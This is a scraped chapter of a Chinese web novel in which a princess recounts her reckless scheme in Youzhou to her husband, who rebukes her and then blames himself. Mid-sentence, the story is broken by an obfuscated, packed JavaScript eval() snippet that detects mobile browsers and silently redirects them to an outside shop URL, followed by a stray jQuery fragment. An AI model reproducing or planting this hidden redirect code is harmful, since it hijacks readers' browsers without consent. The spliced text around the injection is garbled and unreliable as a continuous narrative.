文趣网 > 都市小说 > 何不崇昭 > 22. 斥责?自责
    快八月的天阴晴不定,上一秒太阳还亮晃晃地照着,下一秒便砸下雨来了。

    天色已算不得早,又下着雨,使得整个京城都分外阴沉,因而城门口查人也查的宽松,得以让蔺重凰一行人没费什么大力气便入了城。

    轿辇摇晃着进了条人甚少的巷道,蔺重凰戴了帷帽自轿上下来,下意识的伸了下腰。

    尹慎差人出去又现租了辆轿子换上,十几个人便这么焕然一新地到了国公府,甚至为了防止有人在府外盯着,还专程和门口侍卫演了一出外人拜访的戏码。

    终于是回了府。

    蔺重凰虽已疲惫至极,却还惦记幽州的事,强打着精神去了书房,又被告知宁渠今日出门尚未回来,只好揉了揉额角,先回卧房。

    身心俱疲,她吃过赶制出来的一碗热粥后便喊来碧落。

    “本宫要先休息一阵,待驸马回府后你来喊我。”

    “是,殿下。”碧落并未多问,应下之后便转身出去,为蔺重凰带好了门。

    *

    “来,崇昭。”女人声音和缓温柔,带着些笑意,“这位就是母后先前同你说过的阿弟——举言,上前些。”

    蔺重凰觉得心下有些抗拒,只低着头不看过去,像是自己在同自己怄气。

    自称“母后”的人似乎是无奈地笑了笑,一阵温热拂过蔺重凰的头顶,她忽然觉得眼眶有些湿,肩上传来轻柔的力道,将她转过去一些。

    “崇昭今日心情不好,应当是不想见客,”女人的话并不强硬,却不容置疑,“先将举言带下去吧。”

    蔺重凰听到不远处传来一声模糊的“是”,下一秒,女人伸手揩去她眼角的泪水。

    “发生什么了吗,崇昭?你今日应当是第一次同举言见面才是……是不喜欢他吗?”

    女人看着面前垂着头扣手指的小女孩儿,叹了口气:“不喜欢的话,母后之后便不会再让他来了。”

    “嗯。”蔺重凰轻轻应了一声,有了抬头的动作。

    她以为自己就要看到身前人的脸了,可就在那一刻,耳畔的一切声音如潮水般褪去,眼前也霎时间化作一片空茫。

    几乎是条件反射般的,蔺重凰脱口而出:“母后——”

    ……她说出口了吗?

    她不知道,她听不见自己的声音,包括呼吸。

    她在这一片混沌的空间中摸索着前进,感受不到温度,感受不到心跳,感受不到呼吸。

    感受不到呼吸?

    那她还活着吗。

    蔺重凰忽然有些喘不上气,她跪倒在地,一双手死死按着自己的喉咙,脸色因窒息而泛出青紫。

    直到耳边传来一声轻嗤。

    “可是,凭什么呢?”

    那是一道很有些熟悉的男声,似乎就在自己身后,蔺重凰放下手,拼命地向后转头,几乎就要看到了——

    “笃笃”、“笃笃”。

    “殿下,公爷回来了,殿下?”

    蔺重凰猛地睁开眼。

    *

    “之后我们便在山脚下汇合,绕开官兵后顺着原路回来了……事情就是这样。”

    蔺重凰将自己在幽州同尹慎一行人做的事从头到尾同宁渠讲了一遍,见他微蹙着眉,像是听完在想些什么,于是没再开口,神游天外地琢磨着什么时候去文从闲那里走一趟

    过了约莫一刻钟,宁渠才将戴了玉扳指的手叩在桌上,玉石敲击桌面,发出一声不大的轻响,将蔺重凰从漫无目的地乱想中扯了回来。

    再抬眼时,正与宁渠对视上,而这人的面色实在算不上多好。

    宁渠有些头疼——他早该想到的,当初能和还不熟的自己谈那样惊天动地的合作的人,哪怕之后看起来再踏实稳重,也不可能一直维持下去。

    听完蔺重凰最开始说的、在信上与宁渠提过的对幽州的怀疑时,宁渠尚且还算平静,甚至有些惊讶于她的敏锐和细心,可往后听着听着,宁渠就觉出不对来。

    什么叫火烧幽州城?什么叫尹慎和宁甲子一行人都跃跃欲试?什么叫打信息差让官兵和土匪打起来?什么叫设计燃烟烽火台引京城派兵?

    宁渠看着眼前这个垂着眼的长公主,感觉自己原先就因为下午谈事没谈拢而堵着的一口气,更上不来了。

    原先听闻幽州城遇险,他只是短暂地怀疑了一下此事或许和蔺重凰有关,可谁知道,整件事竟都是蔺重凰带着十几个人干出来的。

    一想到平日里看着严谨的宁甲子,又想到一脸傻相的尹慎,宁渠只觉自己今夜怕不是就要折在这里了。

    直等到气顺下来,宁渠才抬手敲了敲桌子,将面前不知在想些什么的人的魂儿喊回来。

    “殿下说是要靠着府内府外的信息差来让他们内讧,那殿下可知,那天同那于嬴秀把酒言欢的,是垂岭哪个首领?”

    蔺重凰张了张口:“……不知。”

    宁渠简直要气笑了——他难得接纳的合作伙伴,好险要靠着一个什么都不知道的莽撞大脑把自己的命留在幽州了。

    “夫人不知道,那便由某来告诉夫人。”宁渠指尖敲着桌子,“哒哒”响。

    “朝中现下所知,垂岭有四个首领,分别是大首领林放,二首领林闯,三首领王翀和四首领刘小。其中,林放与林闯是亲兄弟。

    “林放待人和气,善于笼络人心,但多智近妖、手段阴险;林闯,耍的一手好刀,但脾气火爆易怒,只对林放服气。

    “三首领王翀,因本身是垂岭一支土匪的老大,后来并入林放这一支,得了个三首领的名号;四首领刘小,据说曾是药师,自行投奔上山,但自己身体不好,因为一手不错医术,在垂岭换了个四首领的位子。

    “而夫人在幽州时想着法子要弄死的,便是二首领林闯。”

    宁渠看着蔺重凰,神情难得严肃:“夫人可知,你回来的前一日于嬴秀已被带回天牢等候发落,而林闯在混战中死在了幽州。

    “根据于嬴秀的供词,之前几次都是林放与林闯一同去的,唯有这一次,垂岭发山水,林放忙着安置,才换成了林闯与王翀。

    “如若此次去的仍是林放,不要说引了内讧后全身而退了——林放根本不会让内讧这件事发生,到那时,夫人又该如何保全自身?”

    宁渠看着蔺重凰有些迟滞的神色,叹了口气。

    “尹慎并不常在京中,先前剿匪他也知之甚少;宁甲子他们又未曾关注过这些,一切都是听命行事,因而都未能与你讲明利害。

    “……某虽知垂岭之事,却未能于行事之前告知于夫人,是某之过。”

    蔺重凰听了宁渠称得上掏心掏肺的一番话,此时张了张口,竟是哑然。

    她未曾想到垂岭那样一个土匪窝,也会有一个那般小心谨慎沉得住气的首领。

    若那日来的是林放,他必然能平衡住局面,土匪不会和官兵打起来,林闯也不会和于嬴秀挥刀相向。

    原本在她计划中均是垫脚石的两波人,若非山水之故,竟差点要将他们一行尽留作幽州亡魂。

    此番计划太过大胆,尹慎与宁甲子等十一人好险为她丧命。

    幸好,她想。

    幸好。

    天也帮她,天也想让她活。

    她拆析着宁渠的话,正欲回应,却见他的头顶又缓缓浮起一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870206|209716||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    行字来了。

    【焦躁*四成-愤怒*两成-担忧*两成-后悔*两成】

    而见蔺重凰不言语,宁渠心下只当她是后怕,忽然也觉得自己似乎的确是有不少错处的。

    明明对垂岭有些了解,却没有想到要提前告诉她;明明本意是让他们慢慢寻找证据,不必着急,却没有说清楚,让她行出了此等险招;明明是两个人共同的疏忽,自己却不知为何同蔺重凰讲了那许多。

    宁渠将手虚虚握成拳放在唇边轻咳了一声:“此事我也有错,未与夫人讲清幽州周边的情况便让殿下去了幽州,也未曾安顿好尹慎……”

    蔺重凰抿了抿唇,抬眸正对上宁渠的双眼。

    她知道宁渠此番话并非打压而是纠错,也知自己行事确实冲动,于是摇摇头:“你是对的,是本宫有些鲁莽了。尹将军也是碍于我的身份所以没能劝阻。

    “日后本宫会更小心些,不过夫君放心,此次计划虽不完善,但本宫在幽州从未露过全脸;尹将军等人行事是也是换好衣服、挡了脸的,扫尾做得还算可以。

    “应当不会查过来……也不会影响到我们之间的合作。”

    宁渠将未尽之言咽回肚子里,点点头:“嗯。”

    “幽州的密信前几日传到了蔺承箴那里,他应当是在手里拖了一日后方才公布于朝堂上,某因身体之故未能在朝中听取到什么信息,只知道蔺承箴发了好大一通火——于嬴秀当初是他提拔上来的,许是恨他害自己丢了威信吧。

    “此番带兵去幽州的是徐启成,他已遣人将于嬴秀押送回京,正是昨日到的。”

    宁渠思忖了一番,接着道:“这几日上朝应当要商讨于嬴秀的去处,还有就是幽州都督一职的归属。

    “某前日已为堰州刺史王洪阳传信,想必很快就能收到回信。除此以外,某欲在这几日晨起去上早朝,方便了解朝中动向,以及那些本就不服蔺承箴的大臣在此事之后的态度。”

    说到这里,宁渠轻笑了一声:“夫人此招虽险,却是实实在在的动摇了蔺承箴一分,这样快的成效,让某的一番经营有了着落。

    “说到底,还是要多谢夫人,与夫人共事为你我二人带来的利益,比某所想象的还要多得多。”

    于是蔺重凰便看见那行字渐渐模糊、重组,几息之间,又变成了另一个样子。

    【焦躁*四成-担忧*两成-期待*两成-愉悦*两成】

    隔着一行缥缈的文字,蔺重好像能从宁渠那常年只带着淡笑的脸上看出许多其他的东西了。

    相比之前纯粹的假笑和不知如何练出来的人模狗样的温润气质,现在的宁渠,在经幽州一事后,想必是真切地感受到了与蔺重凰合作的价值。

    他愿意同这个有勇有谋、胆大心细的合作伙伴显露自己的真情实感,包括赞美,包括愤怒,包括担忧,包括自责。

    这是个不错的转变,蔺重凰想。

    她之后应当暂且不必为宁渠的突然翻脸而感到焦虑了。

    蔺重凰将脑海中的思绪暂且按下,微微颔首,接受了宁渠的称赞,转而又提起这一次去幽州的最基本的原因。

    “本宫先前在信上与夫君提起过,已在幽州寻到了同柳苑有关的消息,夫君既说不清楚前几日朝上清形,便是要用到柳苑的时候了。

    “本宫明日或后日会去找柳苑一趟,待同他了解的差不多,再与夫君所闻对比一番,这样也正好能验证一番柳苑的忠心。”

    宁渠闻言点点头,正欲拿起手边茶盏便听到蔺重凰又开了口。

    “如今既已安顿好之后诸项事宜,夫君是不是可以为本宫讲一讲那位状元的事了。”